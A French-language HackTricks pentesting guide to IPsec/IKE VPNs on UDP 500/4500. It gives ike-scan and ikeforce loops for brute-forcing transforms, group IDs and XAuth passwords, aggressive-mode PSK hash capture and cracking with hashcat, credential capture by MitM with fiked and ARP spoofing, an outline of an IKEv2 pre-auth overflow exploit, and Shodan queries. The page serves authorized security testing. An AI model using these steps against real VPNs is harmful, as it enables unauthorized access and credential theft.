500/udp - Pentesting IPsec/IKE VPN

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

IPsec est largement reconnu comme la technologie principale pour sécuriser les communications entre réseaux (LAN-to-LAN) et depuis les utilisateurs distants vers la passerelle réseau (accès distant), servant de colonne vertébrale aux solutions VPN d’entreprise.

L’établissement d’une association de sécurité (SA) entre deux points est géré par IKE, qui fonctionne sous l’égide d’ISAKMP, un protocole conçu pour l’authentification et l’échange de clés. Ce processus se déroule en plusieurs phases :

  • Phase 1 : Un canal sécurisé est créé entre deux points de terminaison. Ceci est réalisé via une Pre-Shared Key (PSK) ou des certificats, en utilisant soit main mode, qui implique trois paires de messages, soit aggressive mode.
  • Phase 1.5 : Bien que non obligatoire, cette phase, connue sous le nom de Extended Authentication Phase, vérifie l’identité de l’utilisateur tentant de se connecter en exigeant un nom d’utilisateur et un mot de passe.
  • Phase 2 : Cette phase est dédiée à la négociation des paramètres pour sécuriser les données avec ESP et AH. Elle permet l’utilisation d’algorithmes différents de ceux de la Phase 1 afin d’assurer le Perfect Forward Secrecy (PFS), renforçant la sécurité.

Port par défaut : 500/udp

Souvent également exposé : 4500/udp (NAT Traversal)

Découvrir le service avec nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Trouver une transformation valide

La configuration IPSec peut être préparée pour n’accepter qu’une ou quelques transformations. Une transformation est une combinaison de valeurs. Chaque transform contient plusieurs attributs comme DES ou 3DES en tant que algorithme de chiffrement, SHA ou MD5 en tant que algorithme d’intégrité, une clé pré-partagée en tant que type d’authentification, Diffie-Hellman 1 ou 2 comme algorithme de distribution de clés et 28800 secondes comme durée de vie.

Ensuite, la première chose à faire est de trouver une transformation valide, afin que le serveur accepte de communiquer avec vous. Pour ce faire, vous pouvez utiliser l’outil ike-scan. Par défaut, Ike-scan fonctionne en main mode, et envoie un paquet à la passerelle avec un en-tête ISAKMP et une seule proposition contenant huit transforms à l’intérieur.

Selon la réponse, vous pouvez obtenir certaines informations sur l’endpoint :

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Comme vous pouvez le voir dans la réponse précédente, il y a un champ appelé AUTH avec la valeur PSK. Cela signifie que le vpn est configuré en utilisant une preshared key (et c’est vraiment bon pour un pentester).
La valeur de la dernière ligne est également très importante :

  • 0 returned handshake; 0 returned notify: Cela signifie que la cible est pas une passerelle IPsec.
  • 1 returned handshake; 0 returned notify: Cela signifie que la cible est configurée pour IPsec et est prête à effectuer une négociation IKE, et qu’un ou plusieurs des transforms que vous avez proposés sont acceptables (un transform valide sera affiché dans la sortie).
  • 0 returned handshake; 1 returned notify: Les passerelles VPN répondent avec un message notify lorsque aucun des transforms n’est acceptable (bien que certaines passerelles ne le fassent pas, auquel cas une analyse supplémentaire et une proposition révisée doivent être essayées).

Ensuite, dans ce cas nous avons déjà une transformation valide mais si vous êtes dans le 3ème cas, vous devez brute-force un peu pour trouver une transformation valide :

Tout d’abord, vous devez créer toutes les transformations possibles :

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Et ensuite brute-force chacun d’eux en utilisant ike-scan (cela peut prendre plusieurs minutes) :

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si le brute-force n’a pas fonctionné, il se peut que le serveur réponde sans handshakes même aux valid transforms. Vous pouvez alors essayer le même brute-force mais en utilisant aggressive mode :

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Espérons que une transformation valide est renvoyée.
Vous pouvez essayer la same attack en utilisant iker.py.
Vous pouvez aussi essayer de brute force les transformations avec ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Dans DH Group: 14 = 2048-bit MODP et 15 = 3072-bit
2 = HMAC-SHA = SHA1 (dans ce cas). Le format --trans est $Enc,$Hash,$Auth,$DH

Cisco indique d’éviter d’utiliser les DH groups 1 et 2 car ils ne sont pas assez robustes. Les experts estiment que les pays disposant de grandes ressources peuvent facilement casser le chiffrement des données qui utilisent ces groupes faibles. Cela se fait en utilisant une méthode spéciale de pré-calcul qui les prépare à cracker les clés rapidement. Même si la mise en place de cette méthode coûte beaucoup d’argent, elle permet à ces pays puissants de lire les données chiffrées en temps réel si elles utilisent un groupe faible (comme 1 024 bits ou moins).

Server fingerprinting

Ensuite, vous pouvez utiliser ike-scan pour tenter de découvrir le fabricant de l’appareil. L’outil envoie une proposition initiale et cesse de rejouer. Ensuite, il va analyser la différence de temps entre les messages reçus du serveur et le modèle de réponse correspondant ; le pentester peut ainsi fingerprint le vendor de la passerelle VPN. De plus, certains serveurs VPN utiliseront la Vendor ID (VID) payload optionnelle avec IKE.

Spécifiez la transformation valide si nécessaire (en utilisant –trans)

Si IKE découvre quel est le vendor, il l’affichera :

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Cela peut aussi être réalisé avec le script nmap ike-version

Spécifique à IKEv2 : WatchGuard Vendor ID version fingerprinting

Certains daemons IKEv2 incluent des Vendor ID payloads non standard dans la réponse IKE_SA_INIT. WatchGuard Fireware OS encode la version/build de l’appliance directement dans le VID, permettant un single-packet, pre-auth fingerprinting.

  • Transport : UDP/500 (et UDP/4500 pour NAT-T)
  • Paquet : la réponse IKE_SA_INIT contient un ou plusieurs Vendor ID payloads
  • WatchGuard format : hash de 32 octets suivi d’un base64 qui se décode, par exemple, en VN=12.11.3 BN=719894

Exemple d’octets bruts d’une WatchGuard VID payload (les 12 derniers octets sont en base64) :

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Extraction rapide dans un shell quand vous avez le base64 tail:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Remarques

  • Ceci ne fait pas partie d’une quelconque IKEv2 RFC. Considérez-le comme une particularité du fournisseur pour un repérage rapide des versions de Fireware OS exposées/vulnérables.
  • Il suffit d’obtenir une réponse IKE_SA_INIT ; aucune authentification n’est requise.

Trouver le bon ID (nom du groupe)

Pour pouvoir capturer le hash vous avez besoin d’une transformation valide prenant en charge Aggressive mode et du bon ID (nom du groupe). Vous ne connaîtrez probablement pas le nom de groupe valide, donc vous devrez le brute-force.
Pour ce faire, je vous recommande 2 méthodes :

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash (“-P”):

ike-scan -P -M -A -n fakeID <IP>

Si aucun hash n’est renvoyé, alors cette méthode de brute forcing fonctionnera probablement. Si un hash est renvoyé, cela signifie qu’un hash factice va être renvoyé pour un ID factice, donc cette méthode ne sera pas fiable pour brute-force l’ID. Par exemple, un hash factice peut être renvoyé (cela arrive dans les versions récentes) :

Mais comme je l’ai dit, si aucun hash n’est renvoyé, vous devriez essayer de brute-force les noms de groupe courants en utilisant ike-scan.

Ce script va essayer de brute-force des IDs possibles et retournera les IDs pour lesquels un handshake valide est renvoyé (ce sera un nom de groupe valide).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ike-scan. Et si vous avez découvert plusieurs transformations, n’hésitez pas à ajouter une nouvelle boucle pour toutes les tester (vous devriez toutes les tester jusqu’à ce que l’une d’elles fonctionne correctement).

Vous pouvez utiliser le dictionary of ikeforce ou the one in seclists of common group names to brute-force them:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Ou utilisez ce dict (c’est une combinaison des 2 autres dicts sans répétitions) :

Bruteforcing ID with Iker

iker.py utilise également ike-scan pour bruteforce les noms de groupe possibles. Il suit sa propre méthode pour find a valid ID based on the output of ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py est un outil qui peut être utilisé pour brute force IDs also. Cet outil va try to exploit different vulnerabilities qui pourraient être utilisés pour distinguish between a valid and a non-valid ID (cela peut donner des false positives et des false negatives, c’est pourquoi je préfère utiliser la méthode ike-scan si possible).

Par défaut, ikeforce enverra au début quelques ids aléatoires pour vérifier le comportement du serveur et déterminer la tactique à utiliser.

  • La première méthode consiste à brute-force les noms de groupe en searching l’information Dead Peer Detection DPD des systèmes Cisco (cette info n’est renvoyée par le serveur que si le nom de groupe est correct).
  • La deuxième méthode disponible vérifie le nombre de réponses envoyées pour chaque essai car parfois plus de paquets sont envoyés lorsque l’id correct est utilisé.
  • La troisième méthode consiste à searching for “INVALID-ID-INFORMATION” in response to incorrect ID.
  • Enfin, si le serveur ne renvoie rien aux vérifications, ikeforce essaiera de brute force le serveur et vérifiera si, lorsque l’id correct est envoyé, le serveur répond par un paquet.
    Évidemment, le but de brute forcing de l’id est d’obtenir le PSK lorsque vous avez un id valide. Ensuite, avec l’id et le PSK vous devrez bruteforce le XAUTH (if it is enabled).

Si vous avez découvert une transformation spécifique, ajoutez-la dans la commande ikeforce. Et si vous avez découvert plusieurs transformations, n’hésitez pas à ajouter une nouvelle boucle pour toutes les essayer (vous devriez toutes les essayer jusqu’à ce que l’une d’elles fonctionne correctement).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Extrait du livre Network Security Assessment: Know Your Network) : Il est aussi possible d’obtenir des noms d’utilisateur valides en sniffing la connexion entre le client VPN et le serveur, car le premier paquet en Aggressive Mode contenant le client ID est envoyé en clair

Aggressive Mode identity leakage

Aggressive Mode doit envoyer le ID tôt afin que la passerelle puisse choisir le PSK approprié lorsque plusieurs groupes/utilisateurs existent. Cela signifie que l’identité est exposée pre-auth, contrairement à Main Mode où elle est chiffrée dans des paquets ultérieurs. Vous pouvez l’extraire rapidement :

ike-scan -A <IP>
# Look for: ID(Type=ID_USER_FQDN, Value=ike@corp.tld)

Si Aggressive Mode est activé, capturez un PSK handshake craquable et craquez-le hors ligne (hashcat mode 5400) :

ike-scan -A --pskcrack=handshake.txt <IP>
hashcat -m 5400 handshake.txt /path/to/wordlist.txt

Les PSKs récupérés sont souvent réutilisés comme identifiants pour d’autres services (SSH, VPN client auth), donc testez-les contre les services exposés.

Capture & craquage du hash

Enfin, si vous avez trouvé une transformation valide et le nom du groupe et si le aggressive mode est autorisé, alors vous pouvez très facilement récupérer le hash craquable :

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Le hash sera enregistré dans hash.txt.

Vous pouvez utiliser psk-crack, john (en utilisant ikescan2john.py) et hashcat pour crack le hash :

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combiné avec une Pre-Shared Key (PSK) est couramment utilisé pour des fins d’authentification de groupe. Cette méthode est renforcée par XAuth (Extended Authentication), qui ajoute une couche supplémentaire d’authentification utilisateur. Ce type d’authentification s’appuie généralement sur des services comme Microsoft Active Directory, RADIUS, ou des systèmes comparables.

En passant à IKEv2, on observe un changement notable où EAP (Extensible Authentication Protocol) est utilisé à la place de XAuth pour authentifier les utilisateurs. Ce changement souligne une évolution des pratiques d’authentification au sein des protocoles de communication sécurisés.

MitM sur le réseau local pour capturer les credentials

Ainsi, vous pouvez capturer les données de connexion en utilisant fiked et vérifier s’il existe un nom d’utilisateur par défaut (Vous devez rediriger le trafic IKE vers fiked pour le sniffing, ce qui peut être fait à l’aide d’ARP spoofing, more info). Fiked agira comme un VPN endpoint et capturera les XAuth credentials:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Aussi, en utilisant IPSec, essayez d’effectuer une attaque MitM et de bloquer tout le trafic vers le port 500 ; si le tunnel IPSec ne peut pas être établi, il se peut que le trafic soit envoyé en clair.

Brute-forcing XAUTH username et password with ikeforce

Pour brute force le XAUTH (lorsque vous connaissez un nom de groupe valide id et le psk), vous pouvez utiliser un username ou une liste de usernames et une liste de passwords :

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De cette façon, ikeforce tentera de se connecter en utilisant chaque combinaison username:password.

Si vous avez trouvé un ou plusieurs transforms valides, utilisez-les comme dans les étapes précédentes.

Authentification avec un VPN IPSEC

Sous Kali, VPNC est utilisé pour établir des tunnels IPsec. Les profiles doivent être situés dans le répertoire /etc/vpnc/. Vous pouvez initier ces profiles en utilisant la commande vpnc.

Les commandes et configurations suivantes illustrent le processus d’établissement d’une connexion VPN avec VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Dans cette configuration :

  • Remplacez [VPN_GATEWAY_IP] par l’adresse IP réelle de la passerelle VPN.
  • Remplacez [VPN_CONNECTION_ID] par l’identifiant de la connexion VPN.
  • Remplacez [VPN_GROUP_SECRET] par le secret de groupe du VPN.
  • Remplacez [VPN_USERNAME] et [VPN_PASSWORD] par les identifiants d’authentification du VPN.
  • [PID] symbolise l’ID de processus qui sera attribué lorsque vpnc démarrera.

Veillez à utiliser des valeurs réelles et sécurisées pour remplacer les espaces réservés lors de la configuration du VPN.

Notes d’exploitation IKEv2 : bugs de traitement pré-auth IDi/CERT

Les appliances VPN modernes exposent souvent IKEv2 sur UDP/500 (et UDP/4500 pour NAT‑T). Une surface d’attaque courante avant authentification est l’analyse des payloads Identification (IDi) et Certificate pendant IKE_SA_AUTH.

Flux d’exploitation à haut niveau lorsqu’un parseur IKEv2 vulnérable existe :

  • Envoyer un IKE_SA_INIT valide pour négocier les transforms et compléter le Diffie–Hellman.
  • Poursuivre avec IKE_SA_AUTH contenant un IDi qui déclenche le bug (p. ex. une Identification surdimensionnée copiée dans un buffer stack de taille fixe avant la validation du certificat).
  • La corruption mémoire résultante peut permettre le contrôle des registres sauvegardés et de l’adresse de retour.
  • Avec NX activé mais d’autres mitigations absentes (pas de PIE/canaries), construire une chaîne ROP pour appeler mprotect sur une page de pile puis pivoter l’exécution vers du shellcode injecté ou vers un interpréteur résident (p. ex. /usr/bin/python3) si /bin/sh n’est pas disponible.

Exemples de transforms par défaut observés sur certains appliances IKEv2 (WatchGuard Fireware OS 12.11.3) :

  • SHA2-256–AES(256-bit) with DH Group 14
  • SHA1–AES(256-bit) with DH Group 5
  • SHA1–AES(256-bit) with DH Group 2
  • SHA1–3DES with DH Group 2

Conseils pratiques

  • Cibler à la fois UDP/500 et UDP/4500 ; les serveurs NAT‑T peuvent répondre uniquement sur 4500.
  • Augmenter le buffer de réception et les timeouts pour les scanners UDP afin d’éviter la perte de paquets.
  • Si le service expose des Vendor IDs personnalisés (voir section ci‑dessus), utilisez-les pour rapidement fingerprint les versions vulnérables avant d’envoyer du trafic d’exploitation.

Reference Material

Shodan

  • port:500 IKE
  • port:4500 "UDP"
  • udp port:500,4500 "WatchGuard"

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks